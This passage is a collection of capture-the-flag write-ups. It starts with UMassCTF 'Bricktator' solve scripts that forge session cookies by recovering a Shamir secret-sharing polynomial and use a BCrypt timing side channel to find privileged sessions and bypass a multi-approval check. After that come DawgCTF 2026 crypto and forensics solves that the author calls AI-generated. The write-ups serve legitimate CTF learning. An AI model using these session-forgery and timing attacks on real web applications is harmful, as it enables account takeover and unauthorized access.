start_override(self) -> str: body = self.open("/command/override", method="POST").decode() match = TOKEN_RE.search(body) if not match: raise RuntimeError("could not extract override token") return match.group(1) def timed_head_command(self, session_id: str) -> float: cookie_value = encode_session_cookie(session_id) request = urllib.request.Request(self.base_url + "/command", method="HEAD", headers={ "Cookie": f"SESSION={cookie_value}", }) started = time.perf_counter() try: with urllib.request.urlopen(request, timeout=15) as response: response.read(0) except urllib.error.HTTPError as exc: exc.read(0) return time.perf_counter() - started def approve(self, token: str, session_id: str) -> str: cookie_value = encode_session_cookie(session_id) request = urllib.request.Request(self.base_url + f"/override/{token}", method="POST", headers={ "Cookie": f"SESSION={cookie_value}", }) with urllib.request.urlopen(request, timeout=15) as response: return response.read().decode() def median(values: list[float]) -> float: ordered = sorted(values) mid = len(ordered) // 2 if len(ordered) % 2: return ordered[mid] return (ordered[mid - 1] + ordered[mid]) / 2 def classify_candidate(solver: Solver, session_id: str, threshold: float) -> tuple[bool, float]: first = solver.timed_head_command(session_id) if first <= threshold: return False, first second = solver.timed_head_command(session_id) return second > threshold, max(first, second) def run(base_url: str, username: str, password: str) -> str: solver = Solver(base_url) admin_session = solver.login(username, password) john_session = solver.session_for_username("john_doe") jane_session = solver.session_for_username("jane_doe") solver.log(f"[+] bricktator session: {admin_session}") solver.log(f"[+] john_doe session: {john_session}") solver.log(f"[+] jane_doe session: {jane_session}") coeffs = fit_quadratic([john_session, jane_session, admin_session]) solver.log(f"[+] quadratic coefficients: {coeffs}") q_samples = [solver.timed_head_command(john_session) for _ in range(3)] y_samples = [solver.timed_head_command(admin_session) for _ in range(3)] q_median = median(q_samples) y_median = median(y_samples) threshold = (q_median + y_median) / 2 solver.log(f"[+] Q_CLEARANCE median: {q_median:.4f}s") solver.log(f"[+] YANKEE_WHITE median: {y_median:.4f}s") solver.log(f"[+] timing threshold: {threshold:.4f}s") discovered = [] for x in range(2, 5001): if x == 5: continue session_id = f"{x:05d}-{eval_quadratic(coeffs, x):08x}" is_yw, observed = classify_candidate(solver, session_id, threshold) if is_yw: discovered.append(session_id) solver.log(f"[+] found YANKEE_WHITE session {len(discovered)}/4: {session_id} ({observed:.4f}s)") if len(discovered) == 4: break elif x % 500 == 0: solver.log(f"[*] scanned through index {x}, latest {observed:.4f}s") if len(discovered) < 4: raise RuntimeError(f"needed 4 YANKEE_WHITE sessions, found {len(discovered)}") token = solver.start_override() solver.log(f"[+] override token: {token}") for session_id in discovered: body = solver.approve(token, session_id) solver.log(f"[+] approved with {session_id}") match = FLAG_RE.search(body) if match: flag = match.group(1) solver.log(f"[+] flag: {flag}") return flag raise RuntimeError("override approvals completed without revealing a flag") def main() -> int: parser = argparse.ArgumentParser(description="Solve the Bricktator web challenge") parser.add_argument("--base-url", default="http://bricktator.web.ctf.umasscybersec.org:48002") parser.add_argument("--username", default="bricktator") parser.add_argument("--password", default="goldeagle") args = parser.parse_args() try: flag = run(args.base_url, args.username, args.password) except Exception as exc: print(f"[!] {exc}", file=sys.stderr) return 1 print(flag) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` ### Bricktator v2 #### Description Web exploitation challenge (500 pts). A Spring Boot "Nuclear Control Center" application uses Shamir's Secret Sharing for session management and requires 5 YANKEE\_WHITE clearance approvals to execute "Protocol Sigma" and retrieve the flag. #### Solution The challenge involves a Spring Boot 3.2.4 application with several interacting components: **1. Session ID Structure & Shamir's Secret Sharing** Session IDs follow the format `%05d-%08x` where the two parts encode a Shamir share `(x, y)` on a degree-2 polynomial mod `PRIME = 2^31 - 1`. The app seeds 5000 sessions (x=1..5000) plus an admin session (x=5001). Three known users provide shares: * `john_doe` at x=1 * `jane_doe` at x=5 * `bricktator` at x=5001 With 3 shares and a degree-2 polynomial, we can recover the full polynomial and compute any session ID. **2. Discovering Shares** * Login as `bricktator` (password `goldeagle` from source) to get the admin session ID from the dashboard * Use Spring Boot Actuator (`/actuator/sessions?username=john_doe`) to get `john_doe` and `jane_doe` session IDs (accessible with YANKEE\_WHITE or Q\_CLEARANCE) **3. Finding YANKEE\_WHITE Sessions** The `CommandWorkFilter` performs BCrypt(strength=13) hashing when a YANKEE\_WHITE session accesses `/command`, causing a consistent \~0.8s delay vs \~0.1s for other sessions. Out of 5000 seeded sessions, 7 are randomly assigned YANKEE\_WHITE. Key insight for reliability: single timing checks produce many false positives from network/server spikes (\~1.1s once, then \~0.1s). True BCrypt sessions are **consistently** slow across multiple checks. The solve uses a full scan followed by triple-checking - requiring at least 3 of 4 checks above threshold eliminates all false positives. **4. Protocol Sigma Override** The override requires 5 distinct YANKEE\_WHITE sessions to approve sequentially: 1. `POST /command/override` as bricktator (creates token, counts as approval #1) 2. `POST /override/{token}` with 4 more YANKEE\_WHITE session cookies If any approver isn't YANKEE\_WHITE, the override is CANCELLED. The v2 OverrideService supports concurrent tokens, so failed attempts can be retried with different candidate sessions. **5. Session Cookie Encoding** Session cookies are Base64URL-encoded session IDs: `SESSION = base64url(sessionId)`. ```python #!/usr/bin/env python3 """Bricktator v2 - Robust solve with full scan, triple-check, and retry logic.""" import requests import base64 import time import re import sys TARGET = "http://bricktatorv2.web.ctf.umasscybersec.org:8080" PRIME = 2147483647 # 2^31 - 1 TIMING_THRESHOLD = 0.5 def session_cookie(sid): return base64.urlsafe_b64encode(sid.encode()).decode().rstrip('=') def parse_session_id(sid): parts = sid.split('-') return int(parts[0]), int(parts[1], 16) def format_session_id(x, y): return "%05d-%08x" % (x, y) def modinv(a, m): g, x, _ = extended_gcd(a % m, m) if g != 1: raise ValueError("No inverse") return x % m def extended_gcd(a, b): if a == 0: return b, 0, 1 g, x, y = extended_gcd(b % a, a) return g, y - (b // a) * x, x def solve_polynomial(shares): (x1, y1), (x2, y2), (x3, y3) = shares d21 = (x2 - x1) % PRIME d31 = (x3 - x1) % PRIME s21 = (x2*x2 - x1*x1) % PRIME s31 = (x3*x3 - x1*x1) % PRIME r21 = (y2 - y1) % PRIME r31 = (y3 - y1) % PRIME det = (s21 * d31 - s31 * d21) % PRIME num_a2 = (r21 * d31 - r31 * d21) % PRIME a2 = (num_a2 * modinv(det, PRIME)) % PRIME a1 = ((r21 - s21 * a2) * modinv(d21, PRIME)) % PRIME a0 = (y1 - a1 * x1 - a2 * x1 * x1) % PRIME return [a0, a1, a2] def evaluate(coeffs, x): y = 0 for i in range(len(coeffs) - 1, -1, -1): y = (y * x + coeffs[i]) % PRIME return y def time_request(sid): cookie = session_cookie(sid) start = time.time() try: requests.get(f"{TARGET}/command", cookies={"SESSION": cookie}, allow_redirects=False, timeout=10) return time.time() - start except: return 0 # Phase 1: Login and get shares s = requests.Session() s.post(f"{TARGET}/login", data={"username": "bricktator", "password": "goldeagle"}, allow_redirects=False) r = s.get(f"{TARGET}/dashboard") bricktator_sid = re.search(r'session-id[^>]*>([0-9]+-[0-9a-f]+)<', r.text).group(1) john_sid = s.get(f"{TARGET}/actuator/sessions", params={"username": "john_doe"}).json()['sessions'][0]['id'] jane_sid = s.get(f"{TARGET}/actuator/sessions", params={"username": "jane_doe"}).json()['sessions'][0]['id'] # Phase 2: Recover polynomial shares = [parse_session_id(sid) for sid in [john_sid, jane_sid, bricktator_sid]] coeffs = solve_polynomial(shares) all_sessions = {x: format_session_id(x, evaluate(coeffs, x)) for x in range(1, 5002)} # Phase 3: Full scan + triple-check for YANKEE_WHITE first_pass = [] for x in range(2, 5001): if x == 5: continue t = time_request(all_sessions[x]) if t > TIMING_THRESHOLD: first_pass.append((x, all_sessions[x], t)) confirmed = [] for x, sid, t1 in first_pass: times = [t1] + [time_request(sid) for _ in range(3)] if sum(1 for t in times if t > TIMING_THRESHOLD) >= 3: confirmed.append((x, sid, min(times))) confirmed.sort(key=lambda c: c[2], reverse=True) # Phase 4: Override with retry excluded = set() for attempt in range(3): batch = [(x, sid) for x, sid, _ in confirmed if sid not in excluded][:4] if len(batch) < 4: break r = s.post(f"{TARGET}/command/override") token = re.search(r'/override/([a-f0-9]+)', r.text).group(1) for x, sid in batch: r = requests.post(f"{TARGET}/override/{token}", cookies={"SESSION": session_cookie(sid)}) if "UMASS{" in r.text: print(re.search(r'UMASS\{[^}]+\}', r.text).group(0)) sys.exit(0) elif "CANCELLED" in r.text: excluded.add(sid) break ``` **Flag:** `UMASS{stUx_n3T_a1nt_g0T_n0th1nG_0N_th15_v2!!!randomNoiseAndStuff}` # DawgCTF 2026 AI-generated writeups for all but the two 0-solve challenges (well Rubiya got warmth right before the end) Maybe missing some other trivial ones. Let me know and I can add it. ## crypto ### Grecian Battleship #### Description Can you beat the Ancient Greeks? #### Solution The provided `ancientbattleship` binary is a PyInstaller-packed Python/Tkinter game. Reversing the embedded `battleship.pyc` shows that the AI is not making decisions dynamically. Its moves are fully hard-coded: ```python move_script = [ (2, 4), (2, 3), (2, 1), (0, 0), (1, 1), (3, 1), (3, 4), (2, 2), (0, 4), (3, 3) ] ``` The challenge hint, `Consider why the AI behaves so predictably..`, points directly at this fixed script. `Grecian` suggests a Polybius square, and `Battleship` gives 5x5 coordinates. Using a standard 5x5 Polybius square with `I/J` combined and treating the hard-coded pairs as 0-indexed `(row, col)` coordinates: ```python #!/usr/bin/env python3 move_script = [ (2, 4), (2, 3), (2, 1), (0, 0), (1, 1), (3, 1), (3, 4), (2, 2), (0, 4), (3, 3) ] polybius = [ ["A", "B", "C", "D", "E"], ["F", "G", "H", "I", "K"], ["L", "M", "N", "O", "P"], ["Q", "R", "S", "T", "U"], ["V", "W", "X", "Y", "Z"], ] flag_text = "".join(polybius[r][c] for r, c in move_script) print(flag_text) ``` Running that script prints: ``` POMAGRUNET ``` That raw decode is the intended answer. The accepted flag is: ``` DawgCTF{POMAGRUNET} ``` ### I Hate Physics! #### Description The local `description.md` only contained a link to the actual challenge file in the public challenge repo. The relevant file was `STUDYME.txt`. The text is mostly decoy physics notes. The intended signal is in the structure of the lines, not in the formulas themselves. #### Solution Taking the first and last character of each non-empty line reveals the message. The recovered string starts with the flag and then continues with filler text: `DawgCTF{therm0dyn4mic5sucks!}Thisisn0tpartoftheflag!...` So the flag is: `DawgCTF{therm0dyn4mic5sucks!}` Solution code: ```python from pathlib import Path lines = Path("STUDYME.txt").read_text().splitlines() decoded = "".join(line[0] + line[-1] for line in lines if line) print(decoded) ``` Equivalent one-liner: ```bash awk 'NF{printf "%s%s", substr($0,1,1), substr($0,length($0),1)} END{print ""}' STUDYME.txt ``` ### Vault Breaker #### Description The challenge provides a PDF note full of odd glyphs. Visual decoding points toward a pigpen-style substitution, but the faster path is to inspect the PDF itself. Each glyph is embedded as a tagged `/Figure` object with an accessibility alt string of the form `/Alt (char\(NN\))`, where `NN` is the ASCII code for the underlying plaintext character. Reading those numeric codes in order recovers: `EXTREMELYLONGPASSWORD` So the flag is: `DawgCTF{EXTREMELYLONGPASSWORD}` #### Solution Solution code: ```python from pathlib import Path import re pdf = Path("attachments/dawgCTF_2026_vault_breaker.pdf").read_bytes() codes = [int(n) for n in re.findall(rb"/Alt \(char\\\((\d+)\\\)\)", pdf)] message = "".join(map(chr, codes)) print(message) ``` Run it: ```bash python solve.py ``` Expected output: ``` EXTREMELYLONGPASSWORD ``` ### Six Seven #### Description The challenge implements a stream cipher: ```python def gen(start): return (((6 * 7) * (start - 6) * 7) + ((start * 6) - 7) * (start ^ 6)) % 255 def encrypt(message): start = os.urandom(1) key = start for i in range(1, len(message)): key += gen(key[i - 1]).to_bytes(1, "big") return strxor(key, message) ``` The ciphertext is provided in `output.txt`, and the flag format is known to start with `DawgCTF{`. #### Solution Because this is XOR stream encryption, `ciphertext ^ plaintext = keystream`. The known prefix `DawgCTF{` reveals the first 8 keystream bytes immediately. From the first byte: ```python 0x9f ^ ord("D") = 0xdb ``` So the initial state is `0xdb`. Applying `gen` once gives `0x4f`, and applying it again gives `0xda`. After that, `0xda` is a fixed point: ```python gen(0xda) == 0xda ``` That means the keystream becomes constant very quickly, so the full plaintext is recovered by extending the keystream with repeated calls to `gen` and XORing it with the ciphertext. Full solve script: ```python import re from pathlib import Path def gen(start): return (((6 * 7) * (start - 6) * 7) + ((start * 6) - 7) * (start ^ 6)) % 255 def main(): data = Path("output.txt").read_text() ct = bytes.fromhex(re.search(r"ct = ([0-9a-f]+)", data).group(1)) prefix = b"DawgCTF{" key = bytearray(c ^ p for c, p in zip(ct[: len(prefix)], prefix)) while len(key) < len(ct): key.append(gen(key[-1])) pt = bytes(c ^ k for c, k in zip(ct, key)) print(pt.decode()) if __name__ == "__main__": main() ``` Running it prints: ``` DawgCTF{please_use_secrets_in_your_stream_ciphers_69bfe194af43f0cd} ``` ### Sussy Friend #### Description We are given 12 Among Us screenshots and the hint: `Think about what all the pictures have in common...` The right idea is the **Hexahue cipher**. Each screenshot is a 2-column by 3-row symbol built from the same six recurring crewmates. #### Solution In the cafeteria screenshots, the six Hexahue colors are explicit: * `R` = red (`Sussy CTF`) * `G` = green (balloon) * `B` = blue (soldier hat) * `Y` = yellow (bunny ears) * `C` = cyan (cowboy hat) * `M` = magenta/pink (devil tail) Read each image as a Hexahue block in row-major order: 1. top row, left to right 2. middle row, left to right 3. bottom row, left to right The standard Hexahue alphabet is: ```python hexahue = { "MRGYBC": "A", "RMGYBC": "B", "RGMYBC": "C", "RGYMBC": "D", "RGYBMC": "E", "RGYBCM": "F", "GRYBCM": "G", "GYRBCM": "H", "GYBRCM": "I", "GYBCRM": "J", "GYBCMR": "K", "YGBCMR": "L", "YBGCMR": "M", "YBCGMR": "N", "YBCMGR": "O", "YBCMRG": "P", "BYCMRG": "Q", "BCYMRG": "R", "BCMYRG": "S", "BCMRYG": "T", "BCMRGY": "U", "CBMRGY": "V", "CMBRGY": "W", "CMRBGY": "X", "CMRGBY": "Y", "CMRGYB": "Z", } ``` The 12 screenshots decode to these Hexahue symbols in numeric filename order: ```python symbols = { 0: "RGMYBC", 1: "YBCMGR", 2: "YGBCMR", 3: "YBCMGR", 4: "BCYMRG", 5: "BCMYRG", 6: "MRGYBC", 7: "BCYMRG", 8: "RGYBMC", 9: "RGYBCM", 10: "BCMRGY", 11: "YBCGMR", } ``` A complete decoder: ```python hexahue = { "MRGYBC": "A", "RMGYBC": "B", "RGMYBC": "C", "RGYMBC": "D", "RGYBMC": "E", "RGYBCM": "F", "GRYBCM": "G", "GYRBCM": "H", "GYBRCM": "I", "GYBCRM": "J", "GYBCMR": "K", "YGBCMR": "L", "YBGCMR": "M", "YBCGMR": "N", "YBCMGR": "O", "YBCMRG": "P", "BYCMRG": "Q", "BCYMRG": "R", "BCMYRG": "S", "BCMRYG": "T", "BCMRGY": "U", "CBMRGY": "V", "CMBRGY": "W", "CMRBGY": "X", "CMRGBY": "Y", "CMRGYB": "Z", } symbols = { 0: "RGMYBC", 1: "YBCMGR", 2: "YGBCMR", 3: "YBCMGR", 4: "BCYMRG", 5: "BCMYRG", 6: "MRGYBC", 7: "BCYMRG", 8: "RGYBMC", 9: "RGYBCM", 10: "BCMRGY", 11: "YBCGMR", } plaintext = "".join(hexahue[symbols[i]] for i in range(12)) flag_body = plaintext.replace("O", "0").replace("S", "5") print(plaintext) print(flag_body) ``` Output: ``` COLORSAREFUN C0L0R5AREFUN ``` So the accepted flag is: ``` DawgCTF{C0L0R5AREFUN} ``` ### What's your Zodiac Sign? #### Description The PDF contains: * a legend page mapping custom Zodiac-like symbols to `A-Z` * a second page with a `17 x 20` grid of those symbols After transcribing the symbol grid with the legend, a normal row-wise read does not produce plaintext. The `17 x 20 = 340` layout is the important clue: this challenge is modeled after Zodiac `Z340`, so the text needs a Zodiac-style transposition readout. #### Solution After manually transcribing the second page, the decoded letter grid was: ``` eftsoauteratunabr ealseshnspwosnood naveceeoeeyyofaay hkoslyihrrhharrds rytoiioenttcttmcp nraasothsnomsaftu ioiuwdstatooroelo eemysoeoeytttyhrh fttmbosyrwllpustc fyhspaaesenliksuo soittayrdretakccf noerfrzwrgeetfmeo hnashokudmcolhuia fdrirtthooeattiwn miyeofedwoflrapae ymomllbcneertelgh otrernnlosarmetea rctmchfeoitistali torionaswareehten intyeteensixninni ``` A pure toroidal `1,2` knight-move read gave strong English fragments, which suggested the intended route was very close to the real `Z340` transposition. The useful version was to split the grid into row segments `9 / 9 / 2`, then apply `1,2` decimation to the first two 9-row segments. This script reproduces the important readout: ```python ROWS = """eftsoauteratunabr ealseshnspwosnood naveceeoeeyyofaay hkoslyihrrhharrds rytoiioenttcttmcp nraasothsnomsaftu ioiuwdstatooroelo eemysoeoeytttyhrh fttmbosyrwllpustc fyhspaaesenliksuo soittayrdretakccf noerfrzwrgeetfmeo hnashokudmcolhuia fdrirtthooeattiwn miyeofedwoflrapae ymomllbcneertelgh otrernnlosarmetea rctmchfeoitistali torionaswareehten intyeteensixninni""".splitlines() def decimate(seg, dr, dc, sr, sc): h = len(seg) w = len(seg[0]) seen = set() out = [] r, c = sr, sc for _ in range(h * w): if (r, c) in seen: break seen.add((r, c)) out.append(seg[r][c]) r = (r + dr) % h c = (c + dc) % w return "".join(out) seg1 = ROWS[:9] seg2 = ROWS[9:18] part1 = decimate(seg1, 1, 2, 7, 9)[::-1] part2 = decimate(seg2, 1, 2, 0, 0)[::-1] print(part1) print(part2) ``` Output: ``` tookyoulessthantwodaysasarewardforyourprowessincryptoyoumaysubmitthenameofthehotelacrossthestreetfromthesfchronicletyoneyearstosolvebutthisadaptationonly lerohorooamewthesutredtsofssaneranckiscfinocitoborheklilledamanonlyfifteenminutesfromwherehemeiledacryatogramthptcryptogaamwascalredzthreelourtyittfokfif ``` Even with a few remaining transcription/route imperfections, the clue is clear: * `... name of the hotel across the street from the sf chronicle ...` * `... only fifteen minutes from where he mailed a cryptogram ...` * `... was called z three forty ...` * `... it took fifty one years to solve ...` So the task is to identify the hotel across the street from the San Francisco Chronicle building at Fifth and Mission. That hotel is the **Pickwick Hotel**. Flag: ``` DawgCTF{pickwick_hotel} ``` *** ## fwn ### Gen-Z Found My Registry #### Description We are given a Windows registry export of `HKLM\SYSTEM\CurrentControlSet\Services` in `chal.reg`. The description says the attacker turned the registry into "String Cheese" and asks for all changes made. The first obvious anomalies are two fake services: * `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\+7` * `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\-6` Their `Parameters` subkeys contain only: * `"evens"=""` * `"odds"=""` There are also two `Linkage\Export` values that were converted from registry hex data into quoted strings, matching the `String Cheese` hint: * `.NET Data Provider for Oracle\Linkage\Export` * `.NET Data Provider for SqlServer\Linkage\Export` Those clues point to a parity-based character transform. #### Solution The actual payload is hidden in many root service keys as extra values with numeric names and single-character string data. Example: * `DeviceAssociationService` contains `"5"="I"` * `CmBatt` contains `"7"="L"` * `WinRM` contains `"1"="J"` Collecting all root-level numeric-name single-character string values gives positions `1..26`. Ordering by the numeric name produces: ``` JZ}`IMLtwn9,tX6_emn,ea7o9v ``` The fake services tell us how to decode it: * apply `+7` to even positions * apply `-6` to odd positions Applying that transform yields: ``` DawgCTF{qu33n_0f_th3_h1v3} ``` Solver: ```python from pathlib import Path import re text = Path("chal.utf8.reg").read_text(encoding="utf-8-sig", errors="replace").splitlines() cur = None chars = {} for line in text: if line.startswith("["): cur = line[1:-1] continue m = re.match(r'^"(\d+)"="(.)"$', line) if not m: continue idx = int(m.group(1)) ch = m.group(2) # Keep only the root service-key single-character payload entries. if cur and cur.startswith("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"): suffix = cur.split("Services\\", 1)[1] if "\\" not in suffix: chars[idx] = ch enc = "".join(chars[i] for i in range(1, 27)) print("encoded:", enc) flag = [] for pos, ch in enumerate(enc, 1): if pos % 2 == 0: flag.append(chr(ord(ch) + 7)) else: flag.append(chr(ord(ch) - 6)) print("flag:", "".join(flag)) ``` Flag: ``` DawgCTF{qu33n_0f_th3_h1v3} ``` ### I Love Bacon! #### Description We are given a DNS capture. The local challenge directory was missing the attachment, but `description.md` linked the official repo path, which contained `dns_c2.pcap`. The traffic is 1000 DNS queries from `10.67.0.2` to `10.1.1.53`, each with a matching TXT response under `*.dawg.cwa.sec`. #### Solution The query labels and TXT answers are uppercase base32-like strings. A useful anomaly is that only 3 query/response pairs have the exact same encoded value in both the request and the response TXT. Those are the suspicious packets. Packet pairs: * frames `533/534` * frames `909/910` * frames `1823/1824` The intended decode is per-record, not one giant concatenated stream: 1. strip `.dawg.cwa.sec` 2. treat each character as a 5-bit base32 symbol using `A-Z2-7` 3. keep only full bytes from that record 4. decode the 3 echoed records 5. concatenate the resulting ASCII fragments in capture order Code: ```python #!/usr/bin/env python3 import subprocess ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" LOOKUP = {c: i for i, c in enumerate(ALPHABET)} def decode_record(s: str) -> bytes: bits = "".join(f"{LOOKUP[c]:05b}" for c in s.strip()) bits = bits[: len(bits) // 8 * 8] return bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8)) queries = subprocess.check_output( [ "tshark", "-r", "dns_c2.pcap", "-Y", "dns.flags.response==0", "-T", "fields", "-e", "frame.number", "-e", "dns.qry.name", ], text=True, ).splitlines() responses = subprocess.check_output( [ "tshark", "-r", "dns_c2.pcap", "-Y", "dns.flags.response==1", "-T", "fields", "-e", "frame.number", "-e", "dns.txt", ], text=True, ).splitlines() parts = [] for q_line, r_line in zip(queries, responses): q_frame, q_name = q_line.split("\t") r_frame, r_txt = r_line.split("\t") q_name = q_name.removesuffix(".dawg.cwa.sec") if q_name == r_txt: decoded = decode_record(q_name).decode("ascii") print(f"{q_frame}/{r_frame}: {decoded}") parts.append(decoded) flag = "".join(parts) print(flag) ``` Output: ``` 533/534: DawgCTF{s1zzlin 909/910: _succul3nt 1823/1824: _c2_b4con} DawgCTF{s1zzlin_succul3nt_c2_b4con} ``` Flag: ``` DawgCTF{s1zzlin_succul3nt_c2_b4con} ``` ### Modem Metamorphosis #### Description Such a [sad little router](https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Modem%20Metamorphosis), assumed obsolete, cast-off and condemned to the dusty scrap heap... but who says this must be the end? Come with us, and we'll transform you into something beautiful\~ Flag format: `DawgCTF{Manufacturer_Model_OldFirmwareVersion_NewFirmwareName_NewFirmwareVersion}` #### Solution The provided artifact for this challenge is the packet capture `repo/Modem Metamorphosis/morph.pcap`. The solve is to recover: * the original router manufacturer * the original router model * the original firmware version * the new firmware name * the new firmware version The PCAP shows a user logging into a router web UI, browsing to the upgrade page, and uploading new firmware. First, inspect the HTTP requests: ```bash tshark -r repo/'Modem Metamorphosis'/morph.pcap -Y http.request -T fields \ -e frame.number -e ip.src -e http.request.method -e http.host -e http.request.uri ``` The interesting request is: ``` 13300 192.168.1.101 POST 192.168.1.1 /upgrade.cgi ``` The stock router identity is visible in the extracted HTTP pages and in the HTTP auth realm: ```bash strings -a repo/'Modem Metamorphosis'/morph.pcap | rg 'WRT610N|1\.00\.00|B18|WWW-Authenticate' ``` Relevant hits: ``` WWW-Authenticate: Basic realm="WRT610N" Firmware Version: 1.00.00 B18 WRT610N WRT610NV1_v1.00.00.cfg ``` That gives: * model family: `WRT610N` * stock firmware shown by UI: `1.00.00 B18` * backup filename strongly suggests hardware revision `V1` * stock firmware version string itself is `1.00.00` Next, inspect the firmware upload stream: ```bash tshark -r repo/'Modem Metamorphosis'/morph.pcap -qz follow,http,ascii,125 ``` The multipart upload contains: ``` filename="openwrt-24.10.0-bcm47xx-generic-linksys_wrt610n-v1-squashfs.bin" ``` This immediately reveals the new firmware: * new firmware name: `OpenWrt` * new firmware version: `24.10.0` * target device slug: `linksys_wrt610n-v1` To confirm the flashed image, extract the uploaded file from the POST body and inspect it. The extracted file in this solve was saved as `firmware.bin`. ```bash binwalk firmware.bin ``` Output: ``` BIN-Header, board ID: 610N, hardware version: 4702, firmware version: 1.0.0 TRX firmware header Squashfs filesystem ``` Then verify the OpenWrt release from the unpacked rootfs: ```bash sed -n '1,120p' rootfs/etc/openwrt_release sed -n '1,120p' rootfs/usr/lib/os-release sed -n '50,70p' rootfs/lib/upgrade/platform.sh ``` Relevant values: ``` DISTRIB_ID='OpenWrt' DISTRIB_RELEASE='24.10.0' OPENWRT_RELEASE="OpenWrt 24.10.0 r28427-6df0e3d02a" "Linksys WRT610N V1") echo "cybertan 610N"; return;; ``` So the intended normalized flag components are: * Manufacturer: `Linksys` * Model: `WRT610N_V1` * Old firmware version: `1.00.00` * New firmware name: `OpenWrt` * New firmware version: `24.10.0` Final flag: ``` DawgCTF{Linksys_WRT610N_V1_1.00.00_OpenWrt_24.10.0} ``` ### Let's Avoid Doing Math #### Description A GitHub repository contains `threat_depth_analysis.log` with 120 labeled malware samples. Each has a "Known Threat Depth" (ground truth) and "Detected Threat Depth" (prediction), classified as minor, medium, or major. We need to report per-class accuracy, false positive rate, and false negative rate for each classification in growing order of importance (minor, medium, major), formatted with a single leading zero and no trailing zeros, comma-separated. #### Solution The critical parsing insight is that "how accurate it was, and what our false positive and false negatives rates were **for each classification**" means ALL three metrics (accuracy, FPR, FNR) are computed **per class** using one-vs-rest binary classification, not overall accuracy + per-class FPR/FNR. Parse the log, build the confusion matrix, and compute per-class binary metrics: ```python import re with open("threat_depth_analysis.log") as f: text = f.read() known = re.findall(r"Known Threat Depth: (\w+)", text) detected = re.findall(r"Detected Threat Depth: (\w+)", text) pairs = list(zip(known, detected)) # Confusion matrix: # minor medium major # minor: 38 0 2 # medium: 3 30 7 # major: 1 8 31 classes = ["minor", "medium", "major"] # growing order of importance values = [] for cls in classes: TP = sum(1 for k, d in pairs if k == cls and d == cls) FN = sum(1 for k, d in pairs if k == cls and d != cls) FP = sum(1 for k, d in pairs if k != cls and d == cls) TN = sum(1 for k, d in pairs if k != cls and d != cls) acc = (TP + TN) / len(pairs) # per-class binary accuracy fpr = FP / (FP + TN) fnr = FN / (TP + FN) values.extend([acc, fpr, fnr]) # minor: acc=0.95, FPR=0.05, FNR=0.05 # medium: acc=0.85, FPR=0.1, FNR=0.25 # major: acc=0.85, FPR=0.1125, FNR=0.225 flag = "DawgCTF{" + ",".join(str(v) for v in values) + "}" print(flag) ``` **Flag**: `DawgCTF{0.95,0.05,0.05,0.85,0.1,0.25,0.85,0.1125,0.225}` ### The Step After the PCAP #### Description The challenge provides an LLM-generated flow report instead of the original PCAP. The description says the analyzer lost the timestamps and also failed to identify where the interesting traffic was going. We need to find the correct destination, recover the relevant payload fragments, sort them chronologically, and join them with underscores. #### Solution The useful clue is in the header: * `Repeated TLS JA3 hash observed in multiple flows to the same IP address.` That means the interesting traffic should be the set of flows sharing both: * one destination IP * one repeated TLS JA3 hash * non-empty payload fragments Parsing the log shows exactly one such channel: * `Dst IP: 45.76.123.45` * `TLS JA3 Hash: d2b4c6a8f0e1d3c5b7a9f2e4d6c8b0a1` There are 41 records in that channel with real payload fragments. Sorting those records by `Timestamp` gives the payloads in the intended order. Joining those fragments with underscores produces the accepted flag. Solution code: ```python from pathlib import Path TARGET_DST = "45.76.123.45" TARGET_JA3 = "d2b4c6a8f0e1d3c5b7a9f2e4d6c8b0a1" def parse_records(text: str): for chunk in text.split("--- Flow Record ")[1:]: record = {} for line in chunk.splitlines(): if ": " in line: key, value = line.split(": ", 1) record[key] = value yield record def main(): text = Path("network_forensics.log").read_text() rows = [] for record in parse_records(text): if record.get("Dst IP") != TARGET_DST: continue if record.get("TLS JA3 Hash") != TARGET_JA3: continue fragment = record.get("Payload Fragment") if not fragment or fragment == "-": continue rows.append((record["Timestamp"], fragment)) rows.sort() ordered = [fragment for _, fragment in rows] flag = f"DawgCTF{{{'_'.join(ordered)}}}" print(flag) if __name__ == "__main__": main() ``` Running it prints: ``` DawgCTF{HBRPO_IG8F1_CBFNO_6B9M8_0O2RA_K1VRJ_NVGFY_GWWQC_38HYF_9SXME_COSFO_GYR3X_KXWNR_EK8PK_3YR9O_UDOCU_ZRENU_N5Z3J_QIP98_Q1ZXO_I65FD_HJK1E_YY37Q_9AH8R_VHS1K_3AQ6L_6GT6M_JXK87_AU5BH_XTPDP_FF5E8_II49K_Q71N8_MTZX2_72HPO_EVB9O_OAEDO_ECVE6_PR5N8_I4P40_MGG1W1} ``` ### Stomach Bug #### Description The challenge only gave a URL: `https://stomachbug.umbccd.net` Fetching `/` returned an endless attachment stream named `spew.txt`. The stream alternated between: * A sliding printable ASCII line * A numbered hex fragment like `|000|89504e47...` The hex fragments contained a full PNG, then repeated in a loop. #### Solution One full cycle of the numbered hex lines reconstructed a valid `625x625` grayscale PNG. That PNG was itself a QR code. Scanning it produced another PNG as raw QR payload. Scanning that second PNG produced a base64 string, which decoded to the flag. Full solve script: ```python #!/usr/bin/env python3 from pathlib import Path import base64 import binascii import re import struct import subprocess import urllib.request import ssl URL = "https://stomachbug.umbccd.net/" def fetch_lines(limit=2000): ctx = ssl._create_unverified_context() with urllib.request.urlopen(URL, context=ctx) as r: data = b"" while data.count(b"\n") < limit: chunk = r.read(8192) if not chunk: break data += chunk return data.decode().splitlines() def rebuild_first_png(lines): hex_lines = [] for line in lines: m = re.fullmatch(r"\|(\d+)\|([0-9a-f]+)", line) if m: hex_lines.append((int(m.group(1)), m.group(2))) cycle = [] seen = set() for idx, frag in hex_lines: if idx in seen: break seen.add(idx) cycle.append(frag) hex_blob = "".join(cycle) if len(hex_blob) % 2: hex_blob = hex_blob[:-1] return binascii.unhexlify(hex_blob) def trim_png(raw): sig = b"\x89PNG\r\n\x1a\n" start = raw.find(sig) if start == -1: raise ValueError("PNG signature not found") raw = raw[start:] pos = 8 while pos + 8 <= len(raw): clen = struct.unpack(">I", raw[pos:pos + 4])[0] ctype = raw[pos + 4:pos + 8] pos += 8 + clen + 4 if ctype == b"IEND": return raw[:pos] raise ValueError("IEND not found") def zbar_raw(path): out = 